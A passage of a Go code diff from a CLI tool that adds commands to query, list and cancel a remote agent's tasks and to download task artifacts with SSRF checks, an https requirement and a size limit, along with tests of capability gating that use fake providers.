+// provider (unset send hook stays a tripwire).
+func TestSend_FileDryRunNotGated(t *testing.T) {
+	mkSendFile(t, "local.txt")
+	opts := sendTestOpts(t)
+	opts.Text = "hi"
+	opts.Files = []string{"local.txt"}
+	opts.DryRun = true // no --yes
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run --file should not be gated: %v", err)
+	}
+}

cmd/agents/task.go

@@ -0,0 +1,609 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+	"github.com/larksuite/cli/internal/validate"
+	"github.com/larksuite/cli/internal/vfs"
+)
+
+// maxArtifactBytes caps a single downloaded artifact to guard against an
+// untrusted host streaming an unbounded body onto local disk.
+const maxArtifactBytes = 256 << 20 // 256 MiB
+
+// taskOptions holds all inputs for the `agents task get|list|cancel` leaves. A
+// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
+// are wired once; each RunE reads only the fields its verb needs.
+type taskOptions struct {
+	Factory    *cmdutil.Factory
+	Cmd        *cobra.Command
+	Ref        string
+	TaskID     string
+	ContextID  string
+	ArtifactID string
+	Params     []string
+	Output     string
+	Force      bool
+	Watch      bool
+	Timeout    time.Duration
+	As         string
+	Format     string
+	PageSize   int
+	PageToken  string
+}
+
+// resolveDownload is the DownloadArtifact seam: it resolves the provider
+// addressed by opts under the effective identity, runs the local scope
+// preflight, and fetches the artifact descriptor. Tests swap it to return
+// inline bytes without a Factory / network.
+var resolveDownload = func(opts *taskOptions) (*iagents.ArtifactData, error) {
+	_, spec, agentID, id, err := resolveSpec(opts.Factory, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return nil, err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(opts.Factory, spec, opts.Ref); err != nil {
+		return nil, err
+	}
+	// Capability gate before any network: a spec that does not wire
+	// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
+	if spec.DownloadArtifact.Handler == nil {
+		return nil, capabilityError(opts.Ref, "artifact download", iagents.CapArtifactDownload)
+	}
+	// Per-capability brand gate: artifact_download's own brand scope.
+	if err := opBrandGate(opts.Factory, spec.DownloadArtifact.Brands, opts.Ref, "artifact download"); err != nil {
+		return nil, err
+	}
+	// --artifact switches this command to the artifact_download operation, so
+	// params validate STRICTLY against its declaration (a task_get-only param
+	// here gets the cross-operation teaching error), and rt.Params() carries
+	// only artifact_download keys — the executing hook's own contract.
+	vp, err := validateParams(opts.Params, spec.DownloadArtifact.Params, iagents.VerbArtifactDownload, spec, opts.Ref)
+	if err != nil {
+		return nil, err
+	}
+	rt, err := runtimeFor(opts.Factory, id, agentID, vp.Resolved)
+	if err != nil {
+		return nil, err
+	}
+	if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
+		return nil, err
+	}
+	return spec.DownloadArtifact.Handler(opts.Cmd.Context(), rt, opts.TaskID, opts.ArtifactID)
+}
+
+// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
+// its bytes with a download-hardened client. Tests swap it to serve a loopback
+// httptest server (which the production SSRF guard would otherwise block).
+var artifactFetch = fetchArtifactURL
+
+// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
+// Production wraps the base client with the SSRF-hardened redirect/dial rules;
+// tests swap it to pass the (interceptable) base client through unchanged so the
+// request/status/read/limit logic can run against an httpmock transport that the
+// hardened client's transport clone would otherwise discard.
+var hardenDownloadClient = func(base *http.Client) *http.Client {
+	return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
+}
+
+// NewCmdAgentTask builds the `agents task` command group: query, list and cancel
+// tasks on a remote agent. It is a pure group with no RunE so an unknown
+// subcommand is reported rather than silently swallowed.
+func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
+	cmd := &cobra.Command{
+		Use:   "task",
+		Short: "Query / list / cancel a remote agent's tasks",
+		Long:  "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
+	}
+	cmd.AddCommand(NewCmdAgentTaskGet(f))
+	cmd.AddCommand(NewCmdAgentTaskList(f))
+	cmd.AddCommand(NewCmdAgentTaskCancel(f))
+	return cmd
+}
+
+// NewCmdAgentTaskGet builds `agents task get <ref> <task-id>`: fetch a single
+// task's state and artifacts. `--watch` polls until the task reaches a stop
+// condition and the terminal state drives the semantic exit code;
+// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
+// the backward-compatible default). `--artifact <id>` downloads that artifact
+// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
+// and fetched, an inline-bytes artifact is written straight to disk.
+// Risk=read.
+func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
+	opts := &taskOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "get <agent_ref> <task-id>",
+		Short: "Query a single task's state and artifacts",
+		Long:  "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.TaskID = args[1]
+			return agentTaskGetRun(opts)
+		},
+	}
+	cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件（终态 / 需补输入 / 需补鉴权）再打印最终状态")
+	cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长，如 30s；0=无界（阻塞到终态）；到点未终止则返回当前状态+续 watch 命令")
+	cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id（须配合 -o 指定落盘路径），不打印任务详情")
+	cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径（仅 --artifact 时使用）")
+	cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件（默认拒绝覆盖，防止误毁本地文件）")
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentTaskList builds `agents task list <ref>`: enumerate the agent's
+// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
+// meta.count. Risk=read.
+func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
+	opts := &taskOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "list <agent_ref>",
+		Short: "List a remote agent's tasks",
+		Long:  "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
+		Args:  exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			if err := validatePageSize(opts.PageSize); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			return agentTaskListRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
+	addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentTaskCancel builds `agents task cancel <ref> <task-id>`: cancel
+// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
+// an agent that does not support it (task_cancel=false, e.g. example:echo) the
+// command returns unsupported_capability without contacting the API.
+// Risk=write.
+func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
+	opts := &taskOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "cancel <agent_ref> <task-id>",
+		Short: "Cancel (interrupt) a remote agent's task",
+		Long:  "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.TaskID = args[1]
+			return agentTaskCancelRun(opts)
+		},
+	}
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
+	return cmd
+}
+
+// addAsFlag registers the identity flag: the real API-identity flag when a
+// Factory is present, or a bare --as for construction-time unit tests (f nil).
+func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
+	if f != nil {
+		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
+		return
+	}
+	cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
+}
+
+// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
+// -o) runs first so it never touches the network and holds under a nil Factory.
+// With `--artifact` it downloads the named artifact to -o; otherwise it
+// fetches the task, optionally polling it to a stop condition under --watch, and
+// emits the task with the terminal state driving the semantic exit code.
+func agentTaskGetRun(opts *taskOptions) error {
+	if opts.ArtifactID != "" {
+		if opts.Output == "" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"--artifact 需配合 -o/--output 指定落盘路径").
+				WithParam("--output").
+				WithHint("补充 -o <落盘路径> 后重发")
+		}
+		return downloadArtifact(opts)
+	}
+
+	// --timeout only bounds the --watch poll; without --watch it is meaningless.
+	// Guard it client-side (mirrors the send --task-id/--context-id combo check)
+	// so it never touches the network and holds under a nil Factory.
+	if opts.Timeout > 0 && !opts.Watch {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--timeout 需与 --watch 一起使用").
+			WithParam("--timeout").
+			WithHint("加上 --watch（如 --watch --timeout 30s）做有界轮询；或去掉 --timeout 做单次查询")
+	}
+
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Brand gates (offline): whole-agent visibility, then task_get's own scope
+	// (GetTask is core/always wired, so this is normally a no-op).
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	if err := opBrandGate(f, spec.GetTask.Brands, opts.Ref, "task get"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.GetTask.Params, iagents.VerbTaskGet, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+
+	ctx := opts.Cmd.Context()
+	task, err := spec.GetTask.Handler(ctx, rt, opts.TaskID)
+	if err != nil {
+		return err
+	}
+	// A provider that decodes an empty "data" via Call[*AgentTask] legitimately
+	// returns (nil, nil) (see internal/agent decodeData). Surface that as a typed
+	// error rather than dereferencing task.State below (the --watch branch would
+	// otherwise panic; the sibling consumers all nil-guard).
+	if task == nil {
+		return errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"provider 未返回任务数据（响应无 data）")
+	}
+
+	if opts.Watch && !task.State.ShouldStopPolling() {
+		// A positive --timeout bounds the poll: pollToStop returns the most recent
+		// task with a nil error when the deadline fires (a timeout is an
+		// observation-window close, not a failure), so a long task degrades to
+		// "current state + a fresh watch hint" instead of blocking forever. 0 =
+		// unbounded (the backward-compatible default). pollToStop is unchanged.
+		pollCtx := ctx
+		if opts.Timeout > 0 {
+			var cancel context.CancelFunc
+			pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
+			defer cancel()
+		}
+		final, perr := pollToStop(pollCtx, func(c context.Context, tid string) (*iagents.AgentTask, error) {
+			return spec.GetTask.Handler(c, rt, tid)
+		}, opts.TaskID)
+		if perr != nil {
+			return perr
+		}
+		if final != nil {
+			task = final
+		}
+	}
+
+	// Derive IsTerminal from State (single source of truth) before any consumer
+	// — emitTask's output and semanticExitError below both read the flag.
+	notice := normalizeTask(task)
+	if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task, spec, vp.Given, iagents.VerbTaskGet), opts.Format, notice); err != nil {
+		return err
+	}
+	// Under --watch a non-successful terminal state signals exit 1; a
+	// plain get (or a non-terminal stop) is exit 0.
+	if opts.Watch {
+		return semanticExitError(task)
+	}
+	return nil
+}
+
+// agentTaskListRun runs `task list`: resolves the provider, lists tasks
+// (optionally filtered by --context-id) in the provider's most-recent-first
+// order, and emits {tasks:[...]} with meta.count through content-safety scanning
+// (the summaries carry untrusted agent text).
+func agentTaskListRun(opts *taskOptions) error {
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	// Capability gate BEFORE building the client: a spec that does not wire
+	// ListTasks (card task_list=false) returns unsupported_capability offline.
+	if spec.ListTasks.Handler == nil {
+		return capabilityError(opts.Ref, "task list", iagents.CapTaskList)
+	}
+	// Per-capability brand gate: applies only to a wired op.
+	if err := opBrandGate(f, spec.ListTasks.Brands, opts.Ref, "task list"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.ListTasks.Params, iagents.VerbTaskList, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	tasks, pageInfo, err := spec.ListTasks.Handler(opts.Cmd.Context(), rt, opts.ContextID,
+		iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
+	if err != nil {
+		return err
+	}
+	tasks = normalizeTaskSummaries(tasks)
+	// Ordering is the provider's contract (most-recent-first), consistent across
+	// and within pages — the CLI does not re-sort a page.
+	if tasks == nil {
+		tasks = []iagents.TaskSummary{} // always emit [] not null (matches the Card.Parameters array convention)
+	}
+	return scanAndEmitData(f, opts.Cmd, opts.Format,
+		map[string]interface{}{"tasks": tasks},
+		listMetaPage(len(tasks), pageInfo, taskListNext(opts, f, pageInfo)),
+		func(w io.Writer) { printTaskSummariesTSV(w, tasks) })
+}
+
+// taskListNext builds the next-page action for `task list`. The command replays
+// the caller's ref + optional --context-id with the returned cursor. The ref is
+// gated by safeNextRef and the context-id by safeNextID (both user-supplied): a
+// failing value drops the action rather than emitting a command that pages the
+// wrong (unfiltered) set — the cursor still rides meta.page_token as data.
+func taskListNext(opts *taskOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
+	if !safeNextRef(opts.Ref) {
+		return nil
+	}
+	if opts.ContextID != "" && !safeNextID(opts.ContextID) {
+		return nil
+	}
+	base := fmt.Sprintf("lark-cli agents task list %s", opts.Ref)
+	if opts.ContextID != "" {
+		base += " --context-id " + opts.ContextID
+	}
+	next := nextPageAction(base, opts.PageSize, info)
+	carryAsIntoNext(opts.Cmd, f, next)
+	return next
+}
+
+// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated offline
+// (right after resolveSpec, before the client is built): a spec that does not
+// wire CancelTask (card task_cancel=false, e.g. example:echo) returns
+// unsupported_capability without any API access. Only a supporting spec reaches
+// runtimeFor + CancelTask.
+func agentTaskCancelRun(opts *taskOptions) error {
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	if spec.CancelTask.Handler == nil {
+		return capabilityError(opts.Ref, "task cancel", iagents.CapTaskCancel)
+	}
+	// Per-capability brand gate: task_cancel's own brand scope — a
+	// wired-but-brand-excluded cancel returns unavailable_for_brand.
+	if err := opBrandGate(f, spec.CancelTask.Brands, opts.Ref, "task cancel"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.CancelTask.Params, iagents.VerbTaskCancel, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call. A
+	// task_cancel=false agent never reaches here (gated above); it is wired so a
+	// provider that supports cancel is not silently exempt from the all-or-nothing
+	// scope check.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	if err := spec.CancelTask.Handler(opts.Cmd.Context(), rt, opts.TaskID); err != nil {
+		return err
+	}
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
+// under vfs. A URL-type artifact is SSRF-validated and fetched over a
+// download-hardened client; an inline-bytes artifact is written directly. The
+// output path is validated with SafeOutputPath (relative, within the CWD)
+// before any write.
+func downloadArtifact(opts *taskOptions) error {
+	safePath, err := validate.SafeOutputPath(opts.Output)
+	if err != nil {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
+			WithParam("--output").WithCause(err)
+	}
+
+	// Overwriting a local file destroys its content irreversibly — a high-risk
+	// write. It goes through the same confirmation contract as other --force
+	// gates (config bind): without --force, a would-be overwrite returns
+	// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
+	// symlink at the path counts as existing rather than being followed.
+	if !opts.Force {
+		if _, statErr := vfs.Lstat(safePath); statErr == nil {
+			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents task get --artifact -o",
+				"目标文件已存在，覆盖会不可逆地毁掉本地内容: %s", safePath).
+				WithHint("确认要覆盖后加 --force 重跑，或换一个 -o 路径")
+		}
+	}
+
+	ctx := opts.Cmd.Context()
+	art, err := resolveDownload(opts)
+	if err != nil {
+		return err
+	}
+	// A provider decoding an empty "data" via Call[*ArtifactData] can return
+	// (nil, nil); and a non-nil descriptor with neither inline bytes nor a URL
+	// carries no downloadable content. Both are provider-response defects — fail
+	// with a typed error instead of dereferencing nil or writing a 0-byte file
+	// (which under --force would clobber an existing local file with emptiness).
+	if art == nil {
+		return errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"provider 未返回产物数据（响应无 data）")
+	}
+	if len(art.Bytes) == 0 && art.URL == "" {
+		return errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"产物 '%s' 无可下载内容（provider 既未提供内联字节也未提供下载 URL）", opts.ArtifactID)
+	}
+
+	data := art.Bytes
+	if art.URL != "" {
+		data, err = artifactFetch(ctx, opts.Factory, art.URL)
+		if err != nil {
+			return err
+		}
+	}
+
+	if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
+		return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
+	}
+
+	f := opts.Factory
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		out := f.IOStreams.Out
+		fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
+		fmt.Fprintf(out, "path: %s\n", safePath)
+		fmt.Fprintf(out, "bytes: %d\n", len(data))
+		if art.Mime != "" {
+			fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
+		}
+		// suggested_name is the server-suggested name, for reference only; the
+		// actual on-disk path is already the safePath (-o) above.
+		if art.Name != "" {
+			fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
+		}
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data: map[string]interface{}{
+			"artifact_id":    opts.ArtifactID,
+			"path":           safePath,
+			"bytes":          len(data),
+			"mime":           art.Mime,
+			"suggested_name": art.Name,
+		},
+		Notice: output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
+// a download-hardened HTTP client from the Factory and reads the body up to
+// maxArtifactBytes, refusing anything larger. The artifact host is untrusted
+// external content, so both the URL and the redirect chain are guarded.
+func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
+	if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
+			WithCause(err)
+	}
+	// Artifact bytes come from an untrusted host over the network; require https
+	// so the payload cannot be read or tampered with in transit. The SSRF check
+	// above already rejects private/loopback hosts and non-http(s) schemes, so a
+	// surviving non-https URL is plain-text http.
+	if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https（拒绝明文下载）")
+	}
+	base, err := f.HttpClient()
+	if err != nil {
+		return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
+	}
+	client := hardenDownloadClient(base)
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
+	if err != nil {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
+	}
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
+	}
+	// Read ONE byte past the cap so an oversized body is detected rather than
+	// silently truncated: io.LimitReader returns EOF (not an error) at the cap, so
+	// reading exactly maxArtifactBytes cannot distinguish "fits" from "overflowed".
+	// A body over the cap is refused with a typed error instead of writing a
+	// corrupt, partial file that would otherwise report success.
+	data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes+1))
+	if err != nil {
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
+	}
+	if int64(len(data)) > maxArtifactBytes {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"产物超过大小上限 %d 字节，拒绝下载（避免写入被截断的残缺文件）", int64(maxArtifactBytes))
+	}
+	return data, nil
+}

cmd/agents/unsupported_test.go

@@ -0,0 +1,203 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"strings"
+	"sync"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// fakeUnsupSpec is a stub instance spec driving the command-layer
+// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
+// left UNWIRED (nil), so the command layer's nil-gate must return the typed
+// unsupported_capability before any network access. GetTask is wired to return a
+// task whose IsTerminal deliberately mismatches its State (normalizeTask must
+// re-derive it). Send is wired (core, required by Register) but never called
+// here. There is no capability-refusal code in the spec — "unsupported" is
+// expressed purely by the absent hooks.
+func fakeUnsupSpec() *iagents.AgentSpec {
+	return &iagents.AgentSpec{
+		Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) {
+			panic("unsup provider: Send should not be called")
+		}},
+		GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
+			// Deliberate mismatch: State is terminal but IsTerminal=false.
+			return &iagents.AgentTask{TaskID: taskID, State: iagents.StateCompleted, IsTerminal: false}, nil
+		}},
+		// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
+	}
+}
+
+// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
+// panics on duplicates). Like the other fakes it leaks into the package-level
+// registry for the remaining tests of this package run.
+var registerFakeUnsupOnce sync.Once
+
+func registerFakeUnsup() {
+	registerFakeUnsupOnce.Do(func() {
+		iagents.Register(iagents.Provider{
+			Scheme:        "fakeunsup",
+			Label:         "test fake (unwired optional capabilities)",
+			AgentIDSource: "test only",
+			Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+			Instance:      fakeUnsupSpec(),
+		})
+	})
+}
+
+// assertUnsupportedCapability pins the full capability-gate contract on err:
+// validation typed, subtype unsupported_capability, exit 2, hint pointing at
+// `agents card <ref>`, and — because the Factory's httpmock registry has zero
+// stubs — no HTTP was issued (any network attempt would have surfaced as an
+// "httpmock: no stub" error instead of the typed one).
+func assertUnsupportedCapability(t *testing.T, err error, ref string) {
+	t.Helper()
+	if err == nil {
+		t.Fatal("an unsupported capability should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T (%v)", err, err)
+	}
+	if code := output.ExitCodeOf(err); code != output.ExitValidation {
+		t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
+		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
+	}
+	if !strings.Contains(p.Hint, "agents card "+ref) {
+		t.Errorf("hint should point to agents card %s, got %q", ref, p.Hint)
+	}
+	if strings.Contains(err.Error(), "httpmock") {
+		t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
+	}
+}
+
+// TestContextListUnsupportedGated pins the capability gate on `context list`: a
+// provider that does not wire ListContexts returns typed unsupported_capability
+// (exit 2) with the agent-card hint, without any HTTP.
+func TestContextListUnsupportedGated(t *testing.T) {
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &contextOptions{
+		Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
+	}
+	assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
+}
+
+// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
+// `context delete` path (--yes passes, provider does not wire DeleteContext).
+func TestContextDeleteUnsupportedGated(t *testing.T) {
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &contextOptions{
+		Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
+	}
+	assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
+}
+
+// unsupFactory is a small helper for the capability-gate tests.
+func unsupFactory(t *testing.T) *cmdutil.Factory {
+	t.Helper()
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	return f
+}
+
+// TestTaskListUnsupportedGated pins the task_list gate: fakeunsup does not wire
+// ListTasks, so `task list` returns unsupported_capability (exit 2) with no HTTP.
+func TestTaskListUnsupportedGated(t *testing.T) {
+	f := unsupFactory(t)
+	opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json"}
+	assertUnsupportedCapability(t, agentTaskListRun(opts), "fakeunsup:a1")
+}
+
+// TestContextGetUnsupportedGated pins the context_get gate (GetContext unwired).
+func TestContextGetUnsupportedGated(t *testing.T) {
+	f := unsupFactory(t)
+	opts := &contextOptions{Factory: f, Cmd: contextCmdCtx(t, "get"), Ref: "fakeunsup:a1", CtxID: "c1", As: "bot", Format: "json"}
